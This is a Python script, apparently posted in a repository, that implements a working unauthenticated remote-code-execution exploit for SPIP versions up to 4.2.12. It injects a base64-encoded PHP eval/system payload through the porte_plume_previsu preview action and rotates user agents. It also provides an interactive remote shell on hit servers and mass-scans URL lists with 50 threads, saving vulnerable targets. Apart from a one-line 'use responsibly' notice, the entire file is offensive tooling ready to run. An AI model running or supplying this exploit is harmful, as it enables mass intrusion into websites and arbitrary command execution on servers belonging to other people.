README.md
Rendering markdown...
import re
import sys
import base64
import random
import requests
import concurrent.futures
import rich_click as click
from bs4 import BeautifulSoup
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem
click.rich_click.USE_MARKDOWN = True
requests.packages.urllib3.disable_warnings()
class Exploit:
def __init__(self, target_url: str, output_file: str = None) -> None:
"""
Initialize the Exploit class with the target URL and optional output file.
:param target_url: The URL of the target to exploit.
:param output_file: Optional file to save the output of vulnerable URLs.
"""
self.target_url = target_url
self.output_file = output_file
software_names = [SoftwareName.CHROME.value]
operating_systems = [OperatingSystem.WINDOWS.value, OperatingSystem.LINUX.value]
self.user_agent_rotator = UserAgent(
software_names=software_names,
operating_systems=operating_systems,
limit=100,
)
self.timeout = 10
def custom_print(self, message: str, header: str) -> None:
"""
Print a custom formatted message with an emoji-based header.
:param message: The message to print.
:param header: The type of message ("+", "-", "!", "*") to determine the emoji.
"""
header_mapping = {
"+": "✅",
"-": "❌",
"!": "⚠️",
"*": "ℹ️ ",
}
emoji = header_mapping.get(header, "❓")
formatted_message = f"{emoji} {message}"
click.echo(click.style(formatted_message, bold=True, fg="white"))
def prepare_payload(self, command: str) -> str:
"""
Prepare the payload by encoding the system command in base64 and wrapping it in a PHP eval statement.
:param command: The system command to execute on the target.
:return: The prepared payload as a string.
"""
system_command = f"system('{command}');"
encoded_command = base64.b64encode(system_command.encode("utf-8")).decode(
"utf-8"
)
rand_numeric = "".join([str(random.randint(0, 9)) for _ in range(8)])
return f"[<img{rand_numeric}>->URL`<?php eval(base64_decode('{encoded_command}')); ?>`]"
def send_payload(self, command: str, silent: bool = False) -> requests.Response:
"""
Send the prepared payload to the target via a POST request.
:param command: The system command to execute.
:param silent: If True, suppress error messages (useful for bulk scanning).
:return: The HTTP response from the target if successful, or None if an error occurs.
"""
try:
payload = self.prepare_payload(command)
headers = {"User-Agent": self.user_agent_rotator.get_random_user_agent()}
response = requests.post(
url=f"{self.target_url}/spip.php",
params={"action": "porte_plume_previsu"},
data={"data": payload},
headers=headers,
verify=False,
timeout=self.timeout,
)
response.raise_for_status()
return response
except requests.RequestException as err:
if not silent:
self.custom_print(f"An error occurred: {err}", "-")
return None
def parse_response(self, response_text: str, filter_php: bool = True) -> str:
"""
Parse the response from the target to extract the command output, with an option to filter out PHP or base64 content.
:param response_text: The raw HTML response text from the target.
:param filter_php: If True, filter out content containing PHP or base64 encoded data.
:return: The parsed command output or an error message if parsing fails.
"""
soup = BeautifulSoup(response_text, "html.parser")
preview_div = soup.find("div", class_="preview")
if preview_div:
command_output = preview_div.find("a")
if command_output:
output_text = command_output.get_text(strip=True).split('"')[0].strip()
if not (filter_php and re.search(r"<\?php|base64_decode", output_text)):
return output_text
return "No match found in the response."
def interactive_shell(self) -> None:
"""
Launch an interactive shell to send and receive commands to/from the target.
:return: None
"""
session = PromptSession(history=InMemoryHistory())
while True:
cmd = session.prompt(
HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
).strip()
if cmd.lower() == "exit":
self.custom_print("Exiting shell...", "*")
break
if cmd.lower() == "clear":
sys.stdout.write("\x1b[2J\x1b[H")
continue
response = self.send_payload(cmd)
if response:
parsed_output = self.parse_response(response.text, filter_php=False)
if parsed_output:
self.custom_print(f"Result:\n{parsed_output}", "+")
else:
self.custom_print(
"Failed to receive response from the server.", "-"
)
else:
self.custom_print("Failed to send payload.", "-")
def scan_target(self, silent: bool = False) -> tuple[bool, str]:
"""
Scan the target to check if it is vulnerable by sending a test command.
:return: A tuple containing a boolean indicating if the target is vulnerable and the command output.
"""
response = self.send_payload("whoami", silent)
if response:
parsed_output = self.parse_response(response.text)
if parsed_output and "No match found in the response." not in parsed_output:
if self.output_file:
with open(self.output_file, "a") as f:
f.write(f"{self.target_url}\n")
return True, parsed_output
return False, None
@click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True))
@click.command(
help="""
# 😈 SPIP Unauthenticated RCE Exploit 😈
Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.2.12**.
The vulnerability occurs in SPIP’s templating system where it **incorrectly handles user-supplied input**, allowing an attacker to inject and execute arbitrary PHP code.
This can be achieved by crafting a payload that manipulates the templating data processed by the `echappe_retour()` function, which invokes `traitements_previsu_php_modeles_eval()`, containing an `eval()` call.
## ⚠️ Use this tool responsibly.
"""
)
@click.option(
"-u",
"--url",
help="🌐 The **target URL** that you want to scan and potentially exploit.",
)
@click.option(
"-f",
"--file",
help="📂 File containing a **list of URLs** to scan for vulnerabilities.",
)
@click.option(
"-t",
"--threads",
default=50,
show_default=True,
help="⚙️ The number of **threads** to use during scanning. Defaults to `50`.",
)
@click.option(
"-o",
"--output",
help="💾 Specify an **output file** to save the list of vulnerable URLs.",
)
def run_exploit(url, file, threads, output):
if not url and not file:
click.echo(run_exploit.get_help(click.get_current_context()))
return
if url:
exploit = Exploit(target_url=url, output_file=output)
is_vulnerable, command_output = exploit.scan_target()
if is_vulnerable:
exploit.custom_print(f"Vulnerable: {url}", "+")
exploit.custom_print(f"Command Output: {command_output}", "*")
exploit.interactive_shell()
elif file:
urls = []
with open(file, "r") as url_file:
urls = [line.strip() for line in url_file if line.strip()]
def process_url(url):
exploit = Exploit(url, output)
is_vulnerable, command_output = exploit.scan_target(silent=True)
return url, is_vulnerable, command_output
with alive_bar(len(urls), enrich_print=False) as bar:
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(process_url, url): url for url in urls}
for future in concurrent.futures.as_completed(futures):
url, is_vulnerable, command_output = future.result()
if is_vulnerable:
exploit = Exploit(url, output)
exploit.custom_print(
f"Vulnerable: {url}, Command Output: {command_output}", "+"
)
bar()
else:
click.echo("You must specify either a single URL or a file containing URLs.")
if __name__ == "__main__":
run_exploit()